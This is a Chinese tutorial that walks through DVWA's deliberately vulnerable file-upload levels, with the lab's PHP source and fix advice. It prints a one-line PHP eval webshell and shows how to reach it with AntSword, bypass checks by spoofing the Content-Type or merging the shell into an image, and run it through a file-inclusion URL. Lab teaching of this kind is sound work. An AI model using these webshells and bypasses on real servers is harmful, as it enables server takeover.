网络安全 DVWA通关指南 DVWA File Upload(文件上传)

2024-08-26 16:28

本文主要是介绍网络安全 DVWA通关指南 DVWA File Upload(文件上传),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

DVWA File Upload(文件上传)

文章目录

  • DVWA File Upload(文件上传)
    • 修复建议
  • Low
  • Medium
  • High
  • Impossible

修复建议

1、使用白名单限制可以上传的文件扩展名

2、注意0x00截断攻击(PHP更新到最新版本)

3、对上传后的文件统一随机命名,不允许用户控制扩展名

4、上传文件的存储目录禁用执行权限

Low

1、分析网页源代码

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// No$html .= '<pre>Your image was not uploaded.</pre>';}else {// Yes!$html .= "<pre>{$target_path} succesfully uploaded!</pre>";}
}?><?php
// 检查是否接收到表单提交的“Upload”按钮
if( isset( $_POST[ 'Upload' ] ) ) {// 定义目标文件夹路径,这里假设DVWA_WEB_PAGE_TO_ROOT是一个预定义常量,指向网站根目录$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";// 获取上传文件的原始名称,并将其附加到目标路径上,以构建完整的文件存储路径$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// 使用PHP内置函数move_uploaded_file尝试将临时文件移动到目标路径if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// 如果文件未成功移动(例如,由于权限问题或文件大小超出限制等),输出错误信息$html .= '<pre>Your image was not uploaded.</pre>';}else {// 文件成功上传至指定位置,输出成功信息$html .= "<pre>{$target_path} successfully uploaded!</pre>";}
}// 注解:
// 上述代码实现了一个简单的文件上传功能,但缺少必要的安全验证,如文件类型检查、文件大小限制以及防止文件名注入攻击等。
// 在实际生产环境中,应在将文件移动到目标路径之前,添加详细的验证和清理步骤以确保上传行为的安全性。
?>

2、Low级别没有对上传的文件进行任何限制,我们可以直接上传一句话木马,然后使用中国蚁剑连接。

<?php @eval($_POST['attack']) ?>

image-20240511103716434

使用蚁剑连接一句话木马

  1. 启动AntSword应用后,在界面的任意空白区域点击鼠标右键,这时会出现一个菜单。在弹出的菜单中,选择「添加数据」选项。屏幕截图 2024-05-11 104500
  2. 进入到添加数据的页面,根据屏幕提示填写所需的信息。确保每一项必填内容都已正确无误地填写完毕,点击「测试连接」按钮,检查连接是否成功。屏幕截图 2024-05-11 104740
  3. 填写完成后,点击页面中的「添加」按钮,这时候你刚刚输入的信息会被保存为一个新的Shell条目,并能在数据管理列表中看到它。image-20240511105111468
  4. 接下来,双击这个新添加的Shell条目,系统将带你进入该Shell对应的文件管理界面,从而可以进一步操作和管理相关文件。image-20240511104222952

连接木马成功后,直接获取Webshell,可以在服务器上进行任意操作。

Medium

1、分析网页源代码

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];// Is it an image?if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&( $uploaded_size < 100000 ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// No$html .= '<pre>Your image was not uploaded.</pre>';}else {// Yes!$html .= "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid file$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?><?php// 检查是否设置了 'Upload' POST 参数,这通常意味着文件上传表单已被提交
if( isset( $_POST[ 'Upload' ] ) ) {// 设置目标上传路径,结合DVWA_WEB_PAGE_TO_ROOT常量定位到uploads目录下$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";// 使用原始文件名构建完整的文件保存路径$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// 获取上传文件的信息$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];      // 文件名$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];      // 文件类型(MIME类型)$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];      // 文件大小// 检查文件是否为允许的图像格式(JPEG或PNG)且文件大小小于100KBif( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) {// 尝试将上传的临时文件移动到指定的目标路径if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// 如果文件无法移动(可能是权限问题或路径错误),输出错误信息$html .= '<pre>Your image was not uploaded.</pre>';}else {// 文件成功上传,输出成功信息及上传后的文件路径$html .= "<pre>{$target_path} successfully uploaded!</pre>";}}else {// 如果文件不是允许的类型或超过大小限制,输出错误信息$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?>

Medium级别限制上传文件类型只能为JPEG或PNG,同时限制文件大小不能超过100KB。这个时候再上传一句话木马,会提示上传失败。

image-20240511110718455

2、使用Burp Suite抓取一句话木马文件上传的包,发现上传的PHP文件类型在包里。

image-20240511111423759

修改1.php文件的文件类型为“image/png”,然后Foward。

Content-Type: image/png; 

image-20240511111909483

虽然我们上传的文件是PHP文件,但还是可以通过修改网页HTTP报文中文件类型,来绕过网页白名单检查。

image-20240511111924303

High

1、分析网页源代码

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Is it an image?if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&( $uploaded_size < 100000 ) &&getimagesize( $uploaded_tmp ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// No$html .= '<pre>Your image was not uploaded.</pre>';}else {// Yes!$html .= "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid file$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?><?php// 检查是否设置了 'Upload' POST 参数,表明文件上传表单已被提交
if( isset( $_POST[ 'Upload' ] ) ) {// 设置文件上传的目标目录,结合DVWA_WEB_PAGE_TO_ROOT常量定位到uploads文件夹$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";// 从上传文件名中提取文件的基本名称,包括其扩展名,用于构建完整的目标文件路径$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// 获取上传文件的详细信息$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];       // 原始文件名$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); // 文件扩展名,通过查找最后一个点的位置来提取$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];       // 文件大小(字节)$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];    // 上传文件的临时存储路径// 检查文件扩展名是否为允许的图像格式(不区分大小写),文件大小是否小于100KB,并确认是有效的图像文件if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&( $uploaded_size < 100000 ) &&getimagesize( $uploaded_tmp ) ) { // 使用getimagesize()确保文件是可识别的图像// 尝试将上传的临时文件移动到指定的目标路径if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// 如果文件未能成功移动(可能因权限问题或路径错误),输出错误信息$html .= '<pre>Your image was not uploaded.</pre>';}else {// 文件成功上传,输出包含文件路径的成功信息$html .= "<pre>{$target_path} successfully uploaded!</pre>";}}else {// 如果文件扩展名不符、过大或不是有效的图像文件,输出错误信息$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?>

getimagesize()函数,用于获取图像文件的大小以及相关信息。该函数会检查图片文件头,如果不存在或不是一个有效的图像文件则报错。

1、我们可以准备一张图片和一句话木马的文件,通过copy命令将两个文件合并成一个文件。

image-20240623155013786

copy muma.png/b + muma.php/a 1.png

屏幕截图 2024-06-23 155102

image-20240623155320667

文件上传成功

image-20240623155452622

2、但此时2.jpg是个图像文件,无法使用蚁剑连接。我们需要将2.jpg作为php文件执行,使用文件包含漏洞( File Inclusion),构造payload。

http://dvwa/vulnerabilities/fi/?page=file:///D:\phpstudy_pro\WWW\DVWA-master\hackable\uploads\1.png

image-20240623155359236

Impossible

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Where are we going to be writing to?$target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';//$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;$temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;// Is it an image?if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&( $uploaded_size < 100000 ) &&( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&getimagesize( $uploaded_tmp ) ) {// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)if( $uploaded_type == 'image/jpeg' ) {$img = imagecreatefromjpeg( $uploaded_tmp );imagejpeg( $img, $temp_file, 100);}else {$img = imagecreatefrompng( $uploaded_tmp );imagepng( $img, $temp_file, 9);}imagedestroy( $img );// Can we move the file to the web root from the temp folder?if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {// Yes!$html .= "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";}else {// No$html .= '<pre>Your image was not uploaded.</pre>';}// Delete any temp filesif( file_exists( $temp_file ) )unlink( $temp_file );}else {// Invalid file$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}// Generate Anti-CSRF token
generateSessionToken();?>

这篇关于网络安全 DVWA通关指南 DVWA File Upload(文件上传)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1109081

相关文章

OpenCV在Java中的完整集成指南分享

《OpenCV在Java中的完整集成指南分享》本文详解了在Java中集成OpenCV的方法,涵盖jar包导入、dll配置、JNI路径设置及跨平台兼容性处理,提供了图像处理、特征检测、实时视频分析等应用... 目录1. OpenCV简介与应用领域1.1 OpenCV的诞生与发展1.2 OpenCV的应用领域2

MyBatis-Plus 自动赋值实体字段最佳实践指南

《MyBatis-Plus自动赋值实体字段最佳实践指南》MyBatis-Plus通过@TableField注解与填充策略,实现时间戳、用户信息、逻辑删除等字段的自动填充,减少手动赋值,提升开发效率与... 目录1. MyBATis-Plus 自动赋值概述1.1 适用场景1.2 自动填充的原理1.3 填充策略

Python实现PDF按页分割的技术指南

《Python实现PDF按页分割的技术指南》PDF文件处理是日常工作中的常见需求,特别是当我们需要将大型PDF文档拆分为多个部分时,下面我们就来看看如何使用Python创建一个灵活的PDF分割工具吧... 目录需求分析技术方案工具选择安装依赖完整代码实现使用说明基本用法示例命令输出示例技术亮点实际应用场景扩

小白也能轻松上手! 路由器设置优化指南

《小白也能轻松上手!路由器设置优化指南》在日常生活中,我们常常会遇到WiFi网速慢的问题,这主要受到三个方面的影响,首要原因是WiFi产品的配置优化不合理,其次是硬件性能的不足,以及宽带线路本身的质... 在数字化时代,网络已成为生活必需品,追剧、游戏、办公、学习都离不开稳定高速的网络。但很多人面对新路由器

C#解析JSON数据全攻略指南

《C#解析JSON数据全攻略指南》这篇文章主要为大家详细介绍了使用C#解析JSON数据全攻略指南,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 目录一、为什么jsON是C#开发必修课?二、四步搞定网络JSON数据1. 获取数据 - HttpClient最佳实践2. 动态解析 - 快速

SpringBoot集成MyBatis实现SQL拦截器的实战指南

《SpringBoot集成MyBatis实现SQL拦截器的实战指南》这篇文章主要为大家详细介绍了SpringBoot集成MyBatis实现SQL拦截器的相关知识,文中的示例代码讲解详细,有需要的小伙伴... 目录一、为什么需要SQL拦截器?二、MyBATis拦截器基础2.1 核心接口:Interceptor

从入门到进阶讲解Python自动化Playwright实战指南

《从入门到进阶讲解Python自动化Playwright实战指南》Playwright是针对Python语言的纯自动化工具,它可以通过单个API自动执行Chromium,Firefox和WebKit... 目录Playwright 简介核心优势安装步骤观点与案例结合Playwright 核心功能从零开始学习

Java堆转储文件之1.6G大文件处理完整指南

《Java堆转储文件之1.6G大文件处理完整指南》堆转储文件是优化、分析内存消耗的重要工具,:本文主要介绍Java堆转储文件之1.6G大文件处理的相关资料,文中通过代码介绍的非常详细,需要的朋友可... 目录前言文件为什么这么大?如何处理这个文件?分析文件内容(推荐)删除文件(如果不需要)查看错误来源如何避

Java docx4j高效处理Word文档的实战指南

《Javadocx4j高效处理Word文档的实战指南》对于需要在Java应用程序中生成、修改或处理Word文档的开发者来说,docx4j是一个强大而专业的选择,下面我们就来看看docx4j的具体使用... 目录引言一、环境准备与基础配置1.1 Maven依赖配置1.2 初始化测试类二、增强版文档操作示例2.

Spring Boot 结合 WxJava 实现文章上传微信公众号草稿箱与群发

《SpringBoot结合WxJava实现文章上传微信公众号草稿箱与群发》本文将详细介绍如何使用SpringBoot框架结合WxJava开发工具包,实现文章上传到微信公众号草稿箱以及群发功能,... 目录一、项目环境准备1.1 开发环境1.2 微信公众号准备二、Spring Boot 项目搭建2.1 创建